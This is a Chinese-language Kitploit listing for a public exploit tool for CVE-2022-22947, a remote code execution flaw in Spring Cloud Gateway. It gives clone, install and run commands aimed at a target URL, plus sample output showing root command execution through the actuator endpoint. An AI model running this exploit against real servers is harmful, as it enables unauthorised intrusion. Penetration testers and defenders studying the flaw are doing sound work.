Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22947 — Spring Cloud Gateway < 3.0.7 & < 3.1.1 代码注入(RCE) | Kitploit
工具/GitHubGitHub/crowsec-edtech/cve-2022-22947
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubcrowsec-edtech/cve-2022-22947

CVE-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 代码注入(RCE)

查看仓库
38144年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Spring Cloud Gateway < 3.0.7 & < 3.1.1 代码注入(远程代码执行)

CVE: CVE-2022-22947
CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
使用 Spring Cloud Gateway 的应用在 Gateway Actuator 端点启用、暴露且未安全防护时,易受代码注入攻击。远程攻击者可构造恶意请求,从而在远程主机上执行任意代码。

使用方法

root@kitploit:~
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
root@kitploit:~
john@doe:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

参考资料

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

下载工具